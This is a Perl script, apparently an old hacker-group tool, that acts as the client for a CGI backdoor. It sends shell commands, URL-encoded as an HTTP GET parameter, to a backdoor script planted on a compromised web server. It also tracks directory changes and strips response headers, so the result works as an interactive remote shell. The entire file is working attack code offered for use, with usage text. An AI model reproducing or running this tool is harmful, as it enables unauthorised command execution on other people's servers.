#!/usr/bin/perl

# Backdoor over CGI Client 
# Coded by hypoclear of lUSt (Linux Users Strike Today)
#
# usage: ./backdoorclient -h <back_doored_host>

use IO::Socket; use Getopt::Std;
getopts('h:');

my $basedir = "/cgi-bin/backdoorserver.pl";               #add full
#webpath here to server part,
#including filename
my $request;
my $past = "";
my $temp = "";
my $host = $opt_h;

if (defined $opt_h) {

while ($request ne "exit")
        {
        print "$host\$ ";

        $request = <STDIN>;
        chomp ($request);
        $request =~ s/ /%20/g; 
        $request =~ s/;/%3b/g;

        if ($request eq "exit") {print "logout\n"; last;}
        print "\n";

        if ($request eq "cd"){$past=""}
        else{($temp)=split(/%20/,$request);
                if ($temp eq "cd")
                        {$past=$past.$request."%3b";
                        $request=$past;}
                else{$request=$past.$request;}
                $request = "echo\"\"\%3b".$request;}

        $remote=IO::Socket::INET->new(Proto =>"tcp",
                PeerAddr => $host,
                PeerPort => "http(80)",);

        unless ($remote) {die "can't connect to $host"}
        $remote->autoflush(1);

        print $remote "GET $basedir?command=$request HTTP/1.0\n\n";
        while (<$remote>) 
                {unless ((/<*>/)||
                        (/HTTP\/1.*/)||
                        (/Date:*/)||
                        (/Server:*/)||
                        (/Content-type:*/)||
                        (/Content-Type:*/)||
                        (/Connection:*/))
                        {print}}
        print "\n";
        -close $remote;
        }
}
else{die "\nCGI Backdoor by hypoclear\n(Linux Users Strike Today)\n
usage: ./backdoorclient -h <host>\n\n";}


